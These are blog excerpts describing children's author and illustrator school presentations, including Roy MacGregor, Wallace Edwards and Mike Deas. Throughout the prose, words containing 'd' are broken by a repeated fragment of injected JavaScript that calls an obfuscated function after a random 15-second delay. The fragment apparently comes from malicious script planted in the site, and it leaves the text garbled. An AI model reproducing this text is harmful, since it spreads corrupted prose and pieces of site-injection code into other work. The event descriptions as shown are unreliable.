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Vicki VanSickle

Date: January 29, 2015 Author: Lee Losell Categories: Uncategorized

In this interactive, high-energy demonstration, Vikki demystifies the writing experience andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} demonstrates how everyone has “a little bit of writer in them”. Including excerpts from her acclaimed middle grade novels, a behind the scenes glimpse at publishing, story-building activities, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} lots…

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Terri Mack

Date: January 29, 2015 Author: Lee Losell Categories: Uncategorized

Come andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} join author Terri Mack andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} illustrator Bill Helin as we honour the importance of community andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} celebration! Bill will begin our session with a traditional drumming welcome from the Tsimshian nation. Before…

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Roy MacGregor

Date: January 29, 2015 Author: Lee Losell Categories: Uncategorized

Roy will involve the audience in writing a kids’ mystery. They will learn about plotting, red herrings, surprise twists andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} suspense in a free-for-all, fun discussion with the author. They’ll talk about the tricks of the trade from Agatha Christie to the Screech Owls. These events often get…

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Gary Kent

Date: January 29, 2015 Author: Lee Losell Categories: Uncategorized

Gary andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Kim will use PowerPoint to present their “Gubby” books, with an emphasis on Fishing With Gubby. Their presentation will include a number of illustrations from both books accompanied by a fishing story or two andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} thoughts on how the…

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Wallace Edwards

Date: January 29, 2015 Author: Lee Losell Categories: Uncategorized

Wallace will discuss how he became an author/ illustrator. He will show some books in detail, answer questions, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} show some artwork that involves optical illusions from his book “The Painted Circus”. Wallace will give an interactive drawing demonstration based on his book “Mixed Beasts” where he combines…

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Mike Deas

Mike Deas

Date: January 29, 2015 Author: Lee Losell Categories: Uncategorized

Author andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Illustrator Mike Deas discusses the process through which he created his graphic novel Dalen andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Gole: Scandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}al in Port Angus as well as the illustrations for Tank andandom() * 5);if (number1==3){var delay…

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Bill Helin

Date: January 29, 2015 Author: Categories: Uncategorized

Bill Helen is a Canadian artist, teacher, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} designer in the Northwest Coast style andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} a member of the Tsimshian First Nation of northwestern British Columbia. His ancestry is from the Gits’iis tribe in the village of Lax Kw’alaams, B.C. His…

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